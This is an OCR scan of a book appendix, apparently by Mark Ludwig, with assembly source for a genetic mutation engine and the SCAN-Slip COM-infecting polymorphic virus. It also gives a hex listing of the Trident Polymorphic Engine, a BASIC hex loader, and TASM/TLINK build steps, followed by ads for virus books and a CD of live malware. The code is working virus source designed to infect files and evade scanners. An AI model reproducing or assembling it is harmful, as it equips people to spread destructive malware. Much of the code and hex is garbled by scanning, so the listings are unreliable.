inc
call
mov
xor
div
lds
add
add
push
push
pop
pop
mov
sub

MATEL: mov
movsb
mov
loop
rep

MATE_EX:pop
pop
retn

MATE DNA

PROC NEAR

ds

es

cs

ds

MATEL

bx

GET_RANDOM

x, [bx] [CROSS FREQ] ;should we allow crossover?

MATE EX ;jump if no

GET_RANDOM

cx, [bx] [DNALEN] :length of DNA

dx, dx

cx ;dx=random location to do crossover
di, [bx] [DNALOC]

di,dx ;di=location to cross

si,dx

ds

es

ds

es

cx, [DNALEN] ;calc length of gene in memory to move
cx, dx

ah,es: [di] ;exchange bytes in the two chromosomes

ijto do the crossover
ds:[si-1],ah

MATEL ;do transfer until all done
movsb ;do the transfer

es

ds

ENDP

;Linear Congruential Pseudco-Random Number Generator.
;This is not the best random number generator, but it does the job.

;The generator is defined by the equation
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X(N+1) = (A*X(N) + C) mod M

nere the constants are defined as

M EQU 43691 ;large prime

A EQU M+1

c EQU 14449 ;large prime

RAND SEED Dw 0 ;X0, initialized by RANDOM SEED

;Set RAND_SEED up with a random number to seed the pseudo-random number
;generator. This routine should preserve all registers! it must be totally
;relocatable!

RANDOM_SEED PROC NEAR
push si
push ds
push dx
push cx
push bx
push ax
call RS1
RS1: pop bx
sub bx, OFFSET RS1
xor ax, ax
mov ds, ax
mov si, 46CH
lodsw
mov ah,al
in al, 40H
xor dx, dx
mov cx,M
div cx
mov WORD PTR cs: [bx] [RAND SEED],dx
pop ax
pop bx
pop cx
pop dx
pop ds
pop si
retn
RANDOM SEED ENDP

;Create a pseudo-random number and put it in ax. This routine must preserve
;all registers except ax!

GET_RANDOM PROC NEAR
push bx
push cx
push dx
call GR1
GR1: pop bx
sub bx, OFFSET GR1
mov ax,WORD PTR cs: [bx] [RAND_SEED]
mov cx, A ;multiply
mul cx
add ax, C ;add
adc dx, 0
mov cx, M
div cx jdivide
mov ax, dx ;remainder in ax
mov Cs:WORD PTR [bx] [RAND_SEED],ax ;and save for next round
pop dx
pop cx
pop bx
retn
GET_RANDOM ENDP
END

The SCAN-Slip Virus

SCAN-Slip is a simple COM file infecting virus to demonstrate
the DGME with. It works in conjunction with both the DGME and
the TPE, and is written like an ordinary mutating virus.? It uses a
256 byte binary DNA string for the mutation engine, with the
default mutation and crossover rates. Sexual reproduction can be
turned on or off.
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When SCAN-Slip is loaded into memory, it relocates itself to a
segment ds+1000H, which is above where the COM file is loaded.
This relocation is helpful in coding the virus because most of it then
works from fixed offsets. If the virus did not relocate, offsets would
have to be adjusted throughout the code, because the TPE generates
variable-length decryption routines which sit at the start of the
virus. So on startup, the virus is decrypted by the TPE generated
decryptor, and then it immediately relocates.

Once relocated, the virus searches for another program to
infect. It searches only the current directory for other COM files.
Since the virus exists on disk only in an encrypted state, it must
have a sneaky way of finding other copies of itself, so that it does
not reinfect the same file again and again. This is accomplished by
looking at the time stamp on the file. If TIME mod 10 = 3, then the
file is assumed to be already infected. That means one out of 10
files will not get infected, but 9 out of 10 will, and there would be
no reason for an anti-virus program to think such a condition is
somehow suspicious. Once the virus infects a file, it modifies TIME
to fulfill this condition so that it is met.

Once an infectable file has been located, SCAN-SIip calls the
DGME, before it actually infects. SCAN-Slip keeps an internal
variable to determine if this is the first time it is being run. If so, it
creates a random binary DNA sequence. Otherwise it mutates the
DNA sequence it already has. Next, it looks in memory at location
9FE0:0002 to see if there is another binary DNA sequence sitting
there. If there is, it mates with that sequence. Then, of course, it
puts its own DNA in that location. The virus determines whether
there is a DNA sequence at that location by putting two ID bytes
in front of it (0496H). If that ID is found at location 9FE0:0002,
then what follows is assumed to be a DNA sequence. If no DNA is
found, then the virus skips the mating process.

After manipulation of the DNA, the TPE is called, and an
encrypted version of the virus, which has the new DNA, is created

2 For more information on the ins and outs of how a mutating virus works, see
Computer Virus Developments Quarterly, Vol. 1, No. 3, (Spring, 1993).
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in memory, and saved to disk. The virus code always sits at the
beginning of a COM file, before the host’s code.

Once the virus has infected a file, it relocates the host program
it was attached to to offset 100H, and allows it to execute.

Source for SCAN-Slip

The following is the source for SCAN-Slip. You can assemble
it to an object file using TASM. You’ll need to modify it a bit in
order to use MASM. To build SLIP.COM, see the last section of
this appendix, Putting it All Together.

;A small mutation-en
;virus and the COM

e based COM infector which encrypts both the
le. A real bear for disinfectors.

;This virus uses a modified Trident Polymorphic Engine in combination with the
;Darwinian Genetic Mutation Engine. It will sneak around scanners! This version
;employs both mutation and sexual reproduction with crossover.

;This Virus for research purposes only. Please do not release!
;Please execute it only on a carefully controlled system, and only
;if you know what you’re doing!

.model small ;Tiny model to create a COM file
.code

extrn  cryptinear ;mutation engine function

extrn 7host program

extrn INE_RANDOM_DNA:NEAR,MUTATE_DNA:NEAR,MATE DNA:NEAR
extrn :DWORD, DNALEN: WORD

extrn GET:NEAR, GENE_PTR: DWORD

;DTA definitions

DTA EQU 0000H ;Disk transfer area

FSIZE EQU DTA+1AH ;file size location in le search

FNAME EQU DTA+1EH ;file name location in file search
ORG 100H

J e

;The virus starts here.

VIRSTART:
call GETLOC
GETLOC: pop si
sub si,3 ;heres where virus starts
push si
mov ax,ds
add ax, 10004
mov es, ax ;upper segment=ds+1000H
mov di, 100H jmove virus there
mov cx, OFFSET HOST - 100H
rep movsb
mov ds, ax ;set ds to high segment
push ds
mov ax, OFFSET FIND_FILE
push ax
retf ;jump to high segment

;Now it’s time to find a viable file to infect. We will look for any COM file
;and see if the virus is there already.

FIND_FILE:
pop si
mov [HOSTOFS], si ;need this in high memory
xor dx, dx ;move dta high
mov ah, 1AH ;jdont trash parameters
int 21H ;which the host expects
mov dx, OFFSET COMFILE
mov ch, 3FH ;search for any file
mov ah, 4EH ;DOS search first
int 21H
CHECK FILE jnc NXT1
Smp ALLDONE ;jno COM files to infect
NXT1: mov dx, FNAME ;first open the file
mov ax, 3D02H ;r/w access open file

int 21H
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jc

; (date xor time

inz

int
NEXT FILE: mov
int
jmp

COMFILE DB
HOSTOFS DwW

mod 10

Computer Viruses, Artificial Life and Evolution

NEXT_FILE
bx, ax

ax, 5700H
21H

ax, cx

ax, dx

;put file handle in bx
;get file attribute

= 3 for infected file)
dx, dx

cx,10

Ccx

dx, 3

INFECT_FILE

ah, 3EH

21H

;not 3, go infect
;close file if infected

ah, 4FH ;look for another file
21H
SHORT CHECK_FILE ;and go check it out

% _COM’, 0
0

;When we get here, we’ve opened a file successfully, and read it into memory.

;In the high segment,
;Thus, to infect,
7in the high segment.
INFECT_FILE:

push

MUTATE:

call

HIDE_GENE:

DNA_MOD_0:
DNA MODIFIED:

the file is set up exactly as it will look when infected.
we just rewrite the file from the start,

using the image

bx ;save file handle

ax, OFFSET DNA ;set up address of DNA

WORD PTR [DNALOCI,ax ;for DGME
WORD PTR [GENE PTR],ax

ax,cs

WORD PTR [DNALOC+2],ax

WORD PTR [GENE_PTR+2],ax
ax, DNA_LENGTH
[DNALEN], ax

al, [FIRST] ;first infection?
al,al

MUTATE ;no, mutate the gene
DEFINE_RANDOM_DNA ;yes, define the DNA

SHORT DNAﬁMODfE‘IED
MUTATE_DNA

es
ax, 09FEOH

es,ax
si,si ;jes:si = AQ00:0, video
ax,es:[si]

si,2

ax,GENE_ID ;code to tell a gene is
HIDE_GENE ;hiding here in ram
MATE_DNA ;if so, mate

SHORT DNA_MOD_0 jand go on

di,di ino gene there, so

ax, GENE ID

si, OFFSET DNA
cx, DNA_LENGTH
movsb

es

al,al
[FIRST],al

bx

bx

dx, OFFSET HOST
di, FSIZE
cx,cs:[di]

cx

ah, 3FH

21H

send of virus
;get file size

;DOS read function
jread host in

Ccx

cx, OFFSET HOST -
dx, 1008

bp, dx

di, 0

si,0

1008 ;size of code to encrypt
;ds:dx=code to encrypt

;where execution begins

ax,ds ;set up work seg for tpe
ax, 1000H

es,ax
bl,1
ax, 80H
crypt
bx

;small model

dx
cx

cx, cx
dx, cx
ax, 4200H
21H

;reset file pointer
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pop
pop
; mov
7 add
mov
int
push cs
pop ds
mov ax, 57008
int 21H
push dx
mov ax, cx
xor ax, dx
mov cx,10
xor dx, dx
div cx
mul cx
add ax,3
pop dx
xor ax, dx
mov cx, ax
mov ax, 5701H
int 21H
EXIT_ERR:
mov ah, 3EH
int 21H

;The infection process is now complete.
jdown so that its code starts at offset 100H,
ALLDONE:

mov bx, [HOSTOFS]
sub bx, 100H
mov ax,ss
mov ds, ax
mov es,ax
push ax
mov dx, 80H
mov ah, 1AH
int 21H
mov di, 100H
mov si, OFFSET HOST
add si,bx
push di
mov cx, sp
sub cx, si
rep movsb
retf
GENE_ID EQU 0496H
FIRST DB 1
DNA_LENGTH EQU 100H
DNA DB DNA GTH dup (0)
END VIRSTART

353

;add host size to size to write
;write virusthost to file

jds=cs

;get date & time on file

;fix it

;and save it

;close the file

This routine moves the host program

and then transfers control to it.

jrelative offset of program
;bx=size of decrypt routine
;set ds, es to low segment again

;prep for retf to host
;jrestore dta to original value
;for compatibility

;prep move host back to low seg

;move code, don’t trash stack
;jmove code
;and return to host

;allow virus to see gene in ram
; =1 if this is the lst gen
;length of DNA for this virus
;DNA for this virus

The Trident Polymorphic Engine

The Trident Polymorphic Engine is normally supplied as an
object file which you link into a virus. It has the following externals

which may be used in a virus:

RND _INIT: NEAR Procedure
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This routine initializes the TPE’s random number generator.
Since the generator has been removed from TPE and put into the
DGME, this routine is not available in the modified TPE.OBJ.

RND_GET: NEAR Procedure

This routine gets a random number in ax from the TPE’s
random number generator. Again, it is not available in the modified
TPE.

CRYPT: NEAR Procedure

This is the main encryption routine for the engine. When called, it
takes the unencrypted virus, encrypts it, and places a randomly
generated decryption routine at the start of the encrypted virus. This
is the most complex routine in the engine, and it has several input
and output parameters, as follows:

INPUTS:

es = The work segment, where the TPE will store internal data and
the encrypted virus and its decryptor.

ds:dx = A pointer to the code to encrypt.

cx = The number of bytes to encrypt. (Usually the size of the virus
with the TPE and DGME, or virus + host.)

bp = The offset where the decrypt routine will be executed. In the
case of SCAN-Slip, this will be 100H.

si = The distance between the encryptor and the encrypted code.
Normally 0.

ax = Flags. Bit 0 must be set if ds#cs when the decryptor will
execute. (That is normally the case for EXE’s.) If Bit 1 is set, the
TPE will put random non-functional instructions info the decryp-
tor. If Bit 2 is set, the TPE will put random non-functional
instructions before the decryptor. If bit 3 is set, the decryptor will
preserve the contents of the ax register.

OUTPUTS:

ds:dx = A pointer to the decryptor plus the encrypted code. Nor-
mally, this is what you add to the file being infected.

cx = The length of the decryptor plus the encrypted code.

di = The length of the decryptor by itself.
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ax = The length of the encrypted code by itself.

TPE_BOTTOM: NEAR Procedure
This is simply a label that identifies the bottom of the Trident
engine in memory.

TPE_TOP: NEAR Procedure
And this is a label to identify the top of the engine in memory.

HEX Listing of the Modified Trident Poly-
morphic Engine

The following HEX listing can be turned into a binary object
file TPE.OBJ using the LOAD.BAS program which immediately
follows it. Note that all of the binary files for the programs in this
Appendix are included on the Program Disk.

:10000000800900077470652E41534D188820000048
:10001000001C547572626F20417373656D626C656C
:1000200072202056657273696F6E20332E32998864
:100030000F0040E91D3EOC1IB077470652E41534DA7
:100040005F88030040E94C96020000688803004086
:10005000A194960C00055F5445585404434F444501
:1000600096980700288A05020301A48C22000847FD
:10007000454E455F474554000952414E445F534544
:100080004544000A4745545F52414E444F4D0034A9
:10009000900C000001054352595054100000BC88D8
:1000A000040040A20191A0DA030100005B204D4B47
:1000B000202F2054726964656E54205D1E52560EC6
:1000C0001FE800005E81EE180033FF88848005A8D9
:1000D000087403BO5S0AAE80000251F0003C851E8C7
:1000E000000093E8DB0489847605E8F40259B8112E
:1000F00001F6C32075023407F6C30C75023470F69E
:10010000C340750380F407F6C31075022473F6C765
:1001100080750224708BD0E8000089840000E8001C
:1001200000250F003C0A77F689847E055191B801BD
:1001300000D3E08BC823CA5974E433D052E89D0041
:10014000E8B3025A0BD275D657E83301E8A702F696
:10015000C7207403BOF8AACT8478050000E85401EA
:10016000E89302E89D015AE8E801F68480050874E6
:1001700003B058AA8BC703C55A03C22B847805570E
:100180008BBC7A05F6C30C750C2688058BBC7CO5E8
:10019000268825EB032689055F8B9476058BACT7446
:1001A000055E1F5751F6C310740C41D1E9ADES1735
:1001BO0000ABE2FOEBO9AC32F6E80CO0AAE2F78BEF
:1001C000CF585F33D2061FC303D5F6C3027503337E
:1001D000C2C3F6C30175032BC2C303C2C38BY947E93
:1001E00005538BDA8A804D055B80FA047503E8A815
:1001F00001F6C20C9CT7507F6C38074020402E83A4B
:10020000009D75068B847605EB21F6C208751253A6
:100210008D9C7A05F6C202740383C302893F5BEBAF
:100220000A8BC1F6C310740340D1E8F6C203740907
:10023000F6C202740286E0AAC3ABC3535150E80071
:10024000009358F6C30374335083E30F2408D1EOBE



356 Computer Viruses, Artificial Life and Evolution

:100250000BD8582407B10991F6E105C03086E0F6C5
:10026000C3047402B028E86501ABBOS0ESSFO1AASE
:10027000932503008D9C7005D702C1AA595BC35119
:10028000C784740500008BC325108135108075224A
:100290008BC332E4B103F6F10AE47516F6C3807538
:1002A00005B005AAEB04B881C2ABES80000898474EC
:1002B00005AB59C3F6848005017403B02EAAF6CTB6
:1002C000807428E8E500E8EE00E86F0033C0F6C36C
:1002D0008074020410E8BAOOF6C7087502AAC30CBD
:1002E00080AAE80000AB89847805C3B080E84B00AL
:1002F000E8B80OESCL00ESDCFF8B847605F6C3109F
:10030000E95A02F6C3087405F6C7027533F6C70446
:10031000740DB040E88200AAF6C3107401AAC3F6B7
:10032000C7407403B0F8AABO83AABOCOF6C740743F
:100330000424CFOC10E86100AAB001E88800AAC329
:10034000F6C7047405F6C3047504BOA6GEBEDBOAEBL
:10035000EBE9F6C7017511BOEOF6C71A74020402A2
:10036000AA8BC22BC748AAC3F6C7107515B083AABB
:10037000E80000A8017505B8E901EBO3B8C1FFABBF
:10038000EBO3B049AAES0000A801B0O7F75D2B075B0
:10039000EBCE578DBC6405EB05578DBC680553D07B
:1003A000EBDOEB83E30302015B5FC35393250300B0
:1003B0008DIC6COSD75BC3F6C3027409F6C7207425
:1003C0000424CFOC10C3F6C3107402FECOC3E8F5BA
:1003D000FF3C81740B50E80000A80158740204022D
:1003E000C3F684800504740DE80000250F004091D9
:1003F000E81AOQOE2FBC3F684800502740FE80000EF
:10040000A8037467A802746EA8017409C3E8000009
:10041000251E00EBO06E800002506005393E80000C7
:100420008B987E0303DEFFD35BC38D05A503B30367
:10043000B803BFO3CAO3E4032D043E044A04600466
:1004400075047D049704A004A804250F000C70AB6C
:10045000C3BOEBSOE407FEC4AB86E098E93401E862
:10046000E100AAC3ESEDO03408AAC35324078D9C19
:100470005805D7AA5BC3532503038D9C6005D7029B
:10048000C4AADDOC0001C41B5401842B0601018415
:1004900034060101846C060101C47056028473069F
:1004A0000103C53354018593060101C4215401C4DD
:1004B0003C5401C47E5401C4AD5401C4C05401C4B1
:1004C000D15401C4D65401C4E25401C4EF5401C450
:1004D000F35401C53A5401C55A5401C5665401C5C7
:1004E000CA5401C5D6540185FF06010186370601AD
:1004F0000186C506010186DA060101872B06010186
:10050000873D0601018752060101876206010187C6
:100510006A0601018772060101C6035401C60A5426
:1005200001C63C5401C64F5401C6E95401C6F054FB
:1005300001C7065401C7375401C74C5401C776544C
:1005400001C7805401C7825401C7845401C786542F
:1005500001C7885401C78A5401C78C5401C78E54FF
:1005600001C7905401C7925401C7945401C79654CF
:1005700001C7985401C79A5401C79C5401C7C45479
:1005800001C7D054015BA0B80101D603E8000024E4
:1005900007B309F6E304COAASBC351BOES80OE40FD7
:1005A000FEC4AB32C0AA86EOESF200E852FFES00EL
:1005B000002407E8B7008BC80C58AAF6C5037521BC
:1005CO000E83DFFB887F00AELIF6C5087402B08BABCE
:1005D000E82DFFE800009381E3FBF780CB0SESDDLE
:1005E000FD59C3240F0CBOE88300AAA8089CE800BA
:1005F000009DEB7380E4390CCOE8710086E0ABC36A
:10060000243B0C0280E43FA801740380CCCOEB675F
:1006100000E87200ABC380E4010DCO80E84E0086A4
:10062000E0ABA8019CE800009DEB3CE847FFB8E286
:10063000FDABC32409F6C40174060CA624FEAAC3AC
:100640000CA0AA3CAB9CE88200489DEB1A24070C49
:1006500090E81900AAC32507030D5058ABC3240F17
:100660000C40E80800AAC37402ABC3AAC350240715
:100670003C0458750224FBC35080E43880FC2058A9
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:10068000750380F420C3F6C404750480E4FDC350F0
:1006900080E40780FC0658750380CC01C35191E8C3
:1006A0000000AAE2FA59C35051E80D00250F00409E
:1006B00091E80000E2FB5958C35251B42CCD21E41B
:1006C000408AE0E44033C133D0EB25E800000BCOA2
:1006D00074F9C3525153E440050000BA0000B90751
:1006E00000D1IEOD1D28AD832DE7902FECOE2F25BDC
:1006F00056E800005E2E8944E52E8954E85E8AC2EL
:10070000595AC3B8B0B400B8B3B700B9B1B590F88E
:10071000FSF5FAFC454D0820848807070405030312
:1007200006073030002800C8F0OC0000000000000BC
:10073000000000000000005B54504520312E335D66
:10074000E59C2900840106010184230601018448F7
:100750000601018463060101849A060101851406DD
:10076000010185260601018540060101F58A020086
:02077000007413

:00000001FF
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The LOAD.BAS program is given by the following GWBASIC

program:

10 PRINT “Source file”;

20 INPUT SFNAMES

30 PRINT “Destination file”;

40 INPUT DFNAMES$

50 OPEN SFNAMES$ FOR INPUT AS #1
60 OPEN DFNAMES FOR RANDOM AS #2 LEN=1
70 FIELD 2, 1 AS 0$

80 E=0

90 LINECT=0

100 IF EOF (1) THEN GOTO 160

110 LINE INPUT #1, S$

120 LINECT=LINECT+1

130 GOSUB 200

140 GOTO 100

150 IF E=1 THEN GOTO 170

160 PRINT “Translation complete.”
170 CLOSE #1

180 CLOSE #2

190 END

200 REM THIS SUBROUTINE DECOMPOSES ONE LINE OF THE HEX FILE

210 HS=LEFTS (S$, 3)

220 HS$S=RIGHTS (HS$,2)

230 GOSUB 540

240 COUNT$%=X%

250 CSUM%=COUNT$

260 HS$=LEFTS$(S$,7)

270 HS=RIGHTS (H$, 4)

280 GOSUB 540

290 ADDR%=X%

300 CSUM%=CSUMS%+ (ADDR%\256) + (ADDR% AND 255)
310 HS=LEFTS (S$,9)

320 HS=RIGHTS (HS,2)

330 IF HS$<>"00" THEN GOTO 160
340 FOR J%=1 TO COUNT%

350 HS=LEFTS (S$, 9+2*J%)

360 HS=RIGHTS (HS,2)

370 GOSUB 500

380 CSUM%=CSUM%+X%

390 LSET 0$=CS$

400 PUT #2, ADDR%+J%

410 NEXT J%

420 HS=LEFTS (S$,11+2*COUNTS)
430 HS=RIGHTS (HS,2)
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440 GOSUB 540
450 CSUM%=CSUM%$+X%

460 IF (CSUM% AND 255) = 0 THEN RETURN
470 PRINT “Checksum error in line ”;LINECT
480 E=1

490 GOTO 150

500 REM THIS SUBROUTINE CONVERTS A HEX STRING IN H$ TO A BYTE in C$
510 GOSUB 540

520 C$=CHRS (X%)

530 RETURN

540 REM THIS SUBROUTINE CONVERTS A HEX STRING IN H$ TO AN INTEGER
IN X

550 X%=0

560 IF LEN(H$)=0 THEN RETURN

570 Y$=ASC (H$)-48

580 IF Y$>9 THEN Y%=Y3%-7

590 X3=16*X%+Y%

600 HS$S=RIGHTS (HS,LEN (HS$)-1)

610 GOTO 560

Putting it All Together

To build the SCAN-Slip virus as a COM file, you need one other
assembler file, HOST.ASM, as follows:

.model small

.code

;*‘k********‘k*‘k*************‘k********‘k******************************
;The host program starts here. This one is a dummy that just
;returns control to DOS.

public HOST

db 100 dup (0)
HOST:
mov ax,4CO0H ;Terminate
int 21H
HOST_END:
END

This program is simply the host program which the assembled
SCAN-Slip will be attached to. It does nothing but return to DOS.
To assemble and link everything properly, execute the following
sequence of commands:

tasm host;

tasm scanslip;

tasm dgme;

tlink /m /t scanslip dgme tpe host;
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On the Program Disk that goes with this book, a couple of
programs, STARTUP and SEQUENCE, are included to automat-
ically cycle the virus through generation after generation and run
it against SCAN to get it to evolve into a better and better SCAN-
Slipper. You can easily modify these programs to work with any
scanner which will generate a text file listing of what it finds.
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Order from www.ameaglepubs.com today!

- Dr. Ludwig is back in black!

In this brand new book, Dr. Ludwig explores the fascinating world of email viruses in a way nobody
else dares! Here you will learn about how these viruses work and what they can and cannot do froma
veteran hacker and virus researcher. Why settle for the vague generalities of other books when you
can have page after page of carefully explained code and a fascinating variety of live viruses to
experiment with on your own computer or check your antivirus software with? In this book you'll
learn the basics of viruses that reproduce through email, and then go on to explore how antivirus
programs catch them and how wiley viruses evade the antivirus programs. You'll learn about
polymorphic and evolving viruses. You'll learn how viruse writers use exploits - bugs in programs
like Outlook Express - to get their code to execute without your consent. You'll learn about logic
bombs and the social engineering side of viruses - not the social engineering of old time hackers, but
the tried and true scientific method behind turning a replicating program into a virus that infects
millions of computers. Yet Dr. Ludwig doesn't stop here. He faces the sobering possibilities of email
viruses that lie just around the corner . . . viruses that could literally change the history of the human
race, for better or worse. Admittedly this would be a dangerous book in thewrong hands. Yet it would
be more dangerous if it didn't get into the right hands. The next major virus attack could see millions
of computers wiped clean in a matter of hours. With this book, you'll have a fighting chance to spot
the trouble coming and avoid it, while the multitudes that are dependent on a canned program to keep
them out of trouble will get taken out. In short, this is an utterly fascinating book. You'll never look at
computer viruses the same way again after reading it.

ISBN 0-929408-33-0, 232 pages, $16.95

Reep up with the latest . .. a kth edition!

The world of hacking changes continuously. Yesterday's hacks are today's rusty locks that no
longer work. The security guys are constantly fixing holes, and the hackers are constantly
changing their tricks. This new fourth edition of the Happy Hacker - just released in December,
2001 - will keep you up to date on the world of hacking. It's classicMeinel at her best, leading you
through the tunnels and back doors of the internet that is accessible to the beginner, yet
entertaining and educational to the advanced hacker. With major new sections on exploring and
hacking websites, and hacker war, and updates to cover the latest Windows operating systems,
the Happy Hacker is bigger and better than ever!

ISBN 0-929408-34-9, 464 pages $34.95 [N
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Computer Viruses,
Artificial Life, Artificial Life

o

And Evolution Seition
BY OR MARK A. LudWIG

In Computer Viruses, Artificial Life and
Evolution, Dr. Ludwig, a physicist by trade,
explores the world of computer viruses, looking at
them as a form of artificial life. This is the starting
point for an original and thoughtful introduction to the
whole question of “What is life?”” Ludwig realizes that no glib answer will
do if someone is going to come out and say that the virus in your computer is
alive, and you should respect it rather than kill it. So he surveys this very basic
question in great depth. He discusses the mechanical requirements for life. Yet he
also introduces the reader to the deeper philosophical questions about life, ranging
from Aristotle to modern quantum theory and information theory. This tour will
leave you with a deeper appreciation of both the certainties and the mysteries about
what life is.

Next, Ludwig digs into abiogenesis and evolution. Whyarevirusessoimportant
to these two fields? Because operating systems were not designed with viruses in
mind, Ludwig demonstrates that computer viruses can teach us important things
that other artifical life experiments do not.

While the author demonstrates that computer viruses can and do evolve, his over
all evaluation of evolution suggests that present day theories leave much to be
desired. Why shouldn’t a proper theory of evolution give useful predictions in any
worldwecaretoapplyitto? Virusesorwetbiology,itshouldworkforboth.Ludwig
is pessimistic about what wet biology has produced: “the philosophical
commitments of Darwinism seem to be poisoning it from within.” He further
suggests that “Artificial life holds the promise of . . . a real theory of evolution . . .
Any theory we formulate ought to explain the whole gamut of worlds, ranging from
those which couldn’t evolve anything to those which evolve as much as possible.
But will AL live up to this challenge, or will it become little more than
”mathematical storytelling?”

Mark A Ludwig

373 page book, $26.95

If, as any other human being, you are interested in discovering who you are, where
you come from and where you are going to, you should seriously consider reading
this book. Dare yourself to put aside all those evolution fairy-tales you were told at
school, and decide to deeply investigate the truth about life. Come with Ludwig in
his journey. This exciting adventure will leave in you an ever-lasting impression.

A.S.C.
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The Giant Black Book

of Computer Viruses
by Dr. Mark A. Ludwig BLACK BOOK
BRAND NEW 2nd EDITION! =l

This is a fully revised 1998 edition of Mark
Ludwig’s classic work on computer viruses, newly updated
to reflect the rapidly changing world of computers, with lots
of new and excitingmaterial!

It is the only technical introduction to computer viruses
available anywhere at any price. Most books on computer
viruses teach you little more than how to buy an anti-virus program and, if you’re
lucky, how to use it. Not so with The Giant Black Book. It isn’t a book that talks down to you,
telling you why you shouldn’t be allowed to understand viruses for your own good. It isn’t a
book that spoon-feeds you like you were some idiot with an IQ of 60 when it comes to
computers. Nothing is held back. This book fully explains every major type of virus and anti-
virus program, and includes complete source code for all of them!

Learn about replication techniques in the first part of the book, starting with simple
overwriting viruses and companion viruses. Then go on to discuss parasitic viruses for COM
and EXE files and memory resident viruses, including viruses which use advanced memory
control structure manipulation. Then you’ll tour boot sector viruses ranging from simple
varieties that are safe to play with up to some of the most successful viruses known, including
multi-partite viruses. Then you’ll learn how to program viruses for the 32-bit Windows
environment (and how to write assembly language programs forWindows). Next, you’ll study
viruses for Unix and Linux, as well as the infamous macro viruses and source code viruses.
Finally, a discussion of network-saavy viruses completes the picture.

The second part of the book will give you a solid introduction to the battle between viruses
and anti-virus programs. It will teach you how virus detectors work and what techniques they
use. You'll get a detailed introduction to stealth techniques used by viruses, including
Windows-based techniques. Next, there is a tour of retaliating viruses which attack anti-virus
programs, and polymorphic viruses. Finally, you’ll get to experiment with the awesome power
of genetic viruses, including some of Ludwig’s latest, surprising results!.

The third part of the book deals with common payloads for viruses. It includes a thorough
discussion of destructive logic bombs (including hostile Java applets), as well as how to break
the security of Unix and set up an account with super user privileges. Then you’ll learn how to
build a virus that causes every program it touches to compromise Windows security! Also
covered is the beneficial virus named KOH that will secure your hard disk for you, so that
no one can access it without your secret password.

If you need first hand knowledge about viruses - and truly there is no substitute for first hand
knowledge - then this is the book for you. And if you want to experiment with live viruses,
perhaps to test out that new anti-virus package you just bought, The Giant Black Book gives
you the tools you need to do it! Best of all, the companion disk is now included with the book at
no extra charge!

Book with diskette, $39.95

COME TO WWW.AMEAGLEPUBSCOM TO GET THIS GREAT BOOK!
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\ Here is the most incredible

o collection of computer viruses, virus
a tools, mutation engines, trojan horses,
5 and malicious software on the planet!

) The software on this CD-ROM is

/ responsible for having caused literally

/ Dillions of dollars worth of damage in the

* / past ten years. People have lost their jobs
50 over it. People have gone to jail for writing
/4,0 3 &/ it. Governments and big corporations have
‘oﬁ.\ been confounded by it. Our advertising for this

Reay the fite Blr‘-ﬁ“ A% =" CD has been banned in more magazines than you can

- Tmaglne even the likes of Soldier of Fortune!
If you need viruses or malicious software - or information about it - for any
sane reason, this CD is for you! With it you can test your anti-virus software or
perfect the software you’re developing. You can build test viruses that your
software has never seen before to see if it can handle them. You can read what
virus writers have written about how easy or hard your software is to defeat, or
find out what a particular virus does. You can trace the history of a virus, or look
up in-the-field comments about how an anti-virus program is working or choking
up. You can study the source code of a particular virus or assemble it. You can
look at samples of live viruses collected from all over the world. See how ten
samples differ, even though your scanner says they’re all the same thing. In short,
this CD puts you in charge!

On it, you get a fantastic virus collection, consisting of 804 major families, and
10,000 individual and different viruses for PC’s, Macs, Unix boxes, Amigas and
others. You get 2700 files containing new viruses that aren’t properly identified
by most scanners. You get 30 megabytes of source code and disassemblies of
viruses, mutation engines, virus creation kits like the Virus Creation Lab, trojans,
trojan generating programs and souree listings. Then add electronic newsletters
about viruses, text files and databases onwiruses, tools for handling viruses, and
anti-virus software. For icingon the cake, we threw in all of American Eagle’s old
publications which are now out of print, including The Little Black Book of
Computer Viruses, Computer Virus Developments Quarterly, Underground
Technology Review and the Tech Notes. What you end up with.is an absolutely
fantastic collection. of material about viruses - over 444 megabytes, now
availableatareducedprice!

PC Compatible CD-ROM, $49.95

Visit wiiv. ameaglepups.com foa(ay to get this amazing €D!
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“uy, "Carmns Inc. or a BBS, if you want to know how the phone

°W. Arizona 85901 company gets ripped off, or learn how to build a

red box, this CD has it all. It contains all kinds of

computer, telephone and general hacking

““ex information that will teach you how to use the

oo system in ways you never imagined possible. It

even includes a video of Dutch hackers breaking

into a classified US military computer under the

assumed name of Dan Quayle! This CD is a

Crack passwords contemporary classic and, again, an endangered
species!
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